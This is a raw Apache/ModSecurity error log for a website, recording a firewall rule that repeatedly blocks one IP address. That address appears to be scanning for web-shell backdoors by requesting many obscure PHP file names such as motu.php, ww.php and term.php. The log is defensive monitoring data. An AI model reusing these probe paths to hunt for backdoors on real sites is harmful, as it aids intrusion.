[Sun Apr 26 15:24:05.464048 2026] [:error] [pid 22573:tid 22618] [client 20.215.250.178:28909] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29lXB3EmQlD4yKUt-4ZQAAAYs"]
[Sun Apr 26 15:24:05.988029 2026] [:error] [pid 8491:tid 8520] [client 20.215.250.178:26330] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "ae29lSq7I7e6CJooQM3jqgAAANU"]
[Sun Apr 26 15:24:06.480386 2026] [:error] [pid 22573:tid 22626] [client 20.215.250.178:29438] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29lnB3EmQlD4yKUt-4ZwAAAZM"]
[Sun Apr 26 15:24:06.690142 2026] [:error] [pid 22572:tid 22596] [client 20.215.250.178:28961] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prosellers8.php"] [unique_id "ae29ltXOViWCFU-pZzDuzwAAAVI"]
[Sun Apr 26 15:24:07.553801 2026] [:error] [pid 13137:tid 13151] [client 20.215.250.178:29968] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ae29l90RB4J0o4h5neFHGAAAAgo"]
[Sun Apr 26 15:24:07.788686 2026] [:error] [pid 8385:tid 8426] [client 20.215.250.178:29381] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prosellers8.php"] [unique_id "ae29lzOy7_J84Wx3-oyyggAAAEI"]
[Sun Apr 26 15:24:09.213342 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:29941] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29mdXOViWCFU-pZzDu0gAAAUo"]
[Sun Apr 26 15:24:09.731032 2026] [:error] [pid 22572:tid 22578] [client 20.215.250.178:29392] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prosellers8.php"] [unique_id "ae29mdXOViWCFU-pZzDu1QAAAUA"]
[Sun Apr 26 15:24:10.889029 2026] [:error] [pid 16515:tid 16521] [client 20.215.250.178:28945] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prosellers8.php"] [unique_id "ae29mltDrUmgHSvpuLwZugAAAkM"]
[Sun Apr 26 15:24:11.445843 2026] [:error] [pid 16515:tid 16541] [client 20.215.250.178:29963] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29m1tDrUmgHSvpuLwZuwAAAlc"]
[Sun Apr 26 15:24:12.999968 2026] [:error] [pid 8491:tid 8500] [client 20.215.250.178:28956] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29nCq7I7e6CJooQM3juAAAAME"]
[Sun Apr 26 15:24:14.582837 2026] [:error] [pid 16515:tid 16522] [client 20.215.250.178:29928] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29nltDrUmgHSvpuLwZwgAAAkQ"]
[Sun Apr 26 15:24:16.773113 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:29458] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29oNXOViWCFU-pZzDu2gAAAUo"]
[Sun Apr 26 15:24:17.748475 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:28960] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ae29odXOViWCFU-pZzDu2wAAAU0"]
[Sun Apr 26 15:24:19.122821 2026] [:error] [pid 16515:tid 16526] [client 20.215.250.178:29450] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29o1tDrUmgHSvpuLwZywAAAkg"]
[Sun Apr 26 15:24:19.675913 2026] [:error] [pid 22572:tid 22589] [client 20.215.250.178:28933] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29o9XOViWCFU-pZzDu3gAAAUs"]
[Sun Apr 26 15:24:20.022463 2026] [:error] [pid 8385:tid 8442] [client 20.215.250.178:29987] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29pDOy7_J84Wx3-oyyhgAAAFI"]
[Sun Apr 26 15:24:20.548506 2026] [:error] [pid 13197:tid 13240] [client 20.215.250.178:28948] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29pN3kktFKdSxTrBu_-QAAAsk"]
[Sun Apr 26 15:24:22.362390 2026] [:error] [pid 8385:tid 8438] [client 20.215.250.178:29423] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29pjOy7_J84Wx3-oyyiAAAAE4"]
[Sun Apr 26 15:24:23.236388 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:29455] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29p3B3EmQlD4yKUt-4hQAAAYY"]
[Sun Apr 26 15:24:23.589446 2026] [:error] [pid 8491:tid 8512] [client 20.215.250.178:29393] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29pyq7I7e6CJooQM3juwAAAM0"]
[Sun Apr 26 15:24:24.470525 2026] [:error] [pid 22573:tid 22618] [client 20.215.250.178:29441] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29qHB3EmQlD4yKUt-4hwAAAYs"]
[Sun Apr 26 15:24:24.523334 2026] [:error] [pid 22573:tid 22606] [client 20.215.250.178:28971] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ae29qHB3EmQlD4yKUt-4iAAAAYA"]
[Sun Apr 26 15:24:25.066278 2026] [proxy_fcgi:error] [pid 8491:tid 8511] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.205845 2026] [proxy_fcgi:error] [pid 16515:tid 16533] [client 20.215.250.178:30008] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.358526 2026] [proxy_fcgi:error] [pid 8491:tid 8509] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.470634 2026] [proxy_fcgi:error] [pid 16515:tid 16526] [client 20.215.250.178:30008] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.640540 2026] [proxy_fcgi:error] [pid 8491:tid 8514] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.750140 2026] [proxy_fcgi:error] [pid 16515:tid 16538] [client 20.215.250.178:30008] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:25.923676 2026] [proxy_fcgi:error] [pid 8491:tid 8505] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:26.010179 2026] [proxy_fcgi:error] [pid 16515:tid 16528] [client 20.215.250.178:30008] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:26.206455 2026] [proxy_fcgi:error] [pid 8491:tid 8517] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:26.268555 2026] [proxy_fcgi:error] [pid 16515:tid 16530] [client 20.215.250.178:30008] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:26.488821 2026] [proxy_fcgi:error] [pid 8491:tid 8523] [client 20.215.250.178:29981] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:24:26.524362 2026] [:error] [pid 16515:tid 16522] [client 20.215.250.178:30008] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29qltDrUmgHSvpuLwZ1AAAAkQ"]
[Sun Apr 26 15:24:26.768736 2026] [:error] [pid 8491:tid 8502] [client 20.215.250.178:29981] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae29qiq7I7e6CJooQM3jxQAAAMM"]
[Sun Apr 26 15:24:27.919106 2026] [:error] [pid 8390:tid 8452] [client 20.215.250.178:29479] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae29q4GPtFK_i9p5yxT9KgAAAIE"]
[Sun Apr 26 15:24:28.058995 2026] [:error] [pid 8491:tid 8503] [client 20.215.250.178:29429] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29rCq7I7e6CJooQM3jxwAAAMQ"]
[Sun Apr 26 15:24:28.648825 2026] [:error] [pid 8491:tid 8520] [client 20.215.250.178:29969] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae29rCq7I7e6CJooQM3jywAAANU"]
[Sun Apr 26 15:24:28.724841 2026] [:error] [pid 16515:tid 16537] [client 20.215.250.178:29482] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29rFtDrUmgHSvpuLwZ1QAAAlM"]
[Sun Apr 26 15:24:29.294964 2026] [:error] [pid 8383:tid 8409] [client 20.215.250.178:29390] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ae29rdFa2S3EsATMdWP12AAAAAw"]
[Sun Apr 26 15:24:29.658496 2026] [:error] [pid 8383:tid 8402] [client 20.215.250.178:27894] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "ae29rdFa2S3EsATMdWP12QAAAAU"]
[Sun Apr 26 15:24:29.825634 2026] [:error] [pid 16515:tid 16518] [client 20.215.250.178:30012] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae29rVtDrUmgHSvpuLwZ1wAAAkA"]
[Sun Apr 26 15:24:30.471588 2026] [:error] [pid 13197:tid 13235] [client 20.215.250.178:29940] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae29rt3kktFKdSxTrBu__AAAAsQ"]
[Sun Apr 26 15:24:30.565142 2026] [:error] [pid 16515:tid 16539] [client 20.215.250.178:27916] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29rltDrUmgHSvpuLwZ2AAAAlU"]
[Sun Apr 26 15:24:31.291466 2026] [:error] [pid 13197:tid 13255] [client 20.215.250.178:29957] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae29r93kktFKdSxTrBu__gAAAtc"]
[Sun Apr 26 15:24:32.137813 2026] [:error] [pid 22573:tid 22612] [client 20.215.250.178:29992] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29sHB3EmQlD4yKUt-4kgAAAYY"]
[Sun Apr 26 15:24:32.845293 2026] [:error] [pid 8385:tid 8440] [client 20.215.250.178:29943] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "ae29sDOy7_J84Wx3-oyyjAAAAFA"]
[Sun Apr 26 15:24:33.153093 2026] [:error] [pid 8385:tid 8445] [client 20.215.250.178:28944] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29sTOy7_J84Wx3-oyyjgAAAFU"]
[Sun Apr 26 15:24:33.899587 2026] [:error] [pid 8390:tid 8473] [client 20.215.250.178:29475] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "ae29sYGPtFK_i9p5yxT9LAAAAJY"]
[Sun Apr 26 15:24:34.040585 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:28934] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae29soGPtFK_i9p5yxT9LQAAAII"]
[Sun Apr 26 15:24:35.027825 2026] [:error] [pid 16574:tid 16629] [client 20.215.250.178:29937] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "ae29s35MsX8wRQr99nYf4wAAA1E"]
[Sun Apr 26 15:24:35.193630 2026] [:error] [pid 8385:tid 8433] [client 20.215.250.178:27947] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae29szOy7_J84Wx3-oyykQAAAEk"]
[Sun Apr 26 15:24:36.172220 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:29949] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "ae29tNXOViWCFU-pZzDu4QAAAUo"]
[Sun Apr 26 15:24:36.196787 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:30013] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae29tNXOViWCFU-pZzDu4gAAAU0"]
[Sun Apr 26 15:24:39.162502 2026] [:error] [pid 13137:tid 13161] [client 20.215.250.178:29904] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "ae29t90RB4J0o4h5neFHKAAAAhQ"]
[Sun Apr 26 15:24:39.209368 2026] [:error] [pid 13197:tid 13250] [client 20.215.250.178:29899] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "ae29t93kktFKdSxTrBu__wAAAtI"]
[Sun Apr 26 15:24:41.137531 2026] [:error] [pid 16515:tid 16537] [client 20.215.250.178:29914] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae29uVtDrUmgHSvpuLwZ4AAAAlM"]
[Sun Apr 26 15:24:43.440033 2026] [:error] [pid 8491:tid 8519] [client 20.215.250.178:30310] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsjzs.php"] [unique_id "ae29uyq7I7e6CJooQM3j7gAAANQ"]
[Sun Apr 26 15:24:44.226790 2026] [:error] [pid 22573:tid 22622] [client 20.215.250.178:29451] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae29vHB3EmQlD4yKUt-4qQAAAY8"]
[Sun Apr 26 15:24:45.432664 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:29932] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "ae29vYGPtFK_i9p5yxT9MwAAAIw"]
[Sun Apr 26 15:24:46.534012 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:29995] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae29voGPtFK_i9p5yxT9OAAAAIM"]
[Sun Apr 26 15:24:47.560671 2026] [:error] [pid 13137:tid 13143] [client 20.215.250.178:29970] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "ae29v90RB4J0o4h5neFHLAAAAgM"]
[Sun Apr 26 15:24:50.058499 2026] [:error] [pid 22572:tid 22593] [client 20.215.250.178:30397] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "ae29wtXOViWCFU-pZzDu_AAAAU8"]
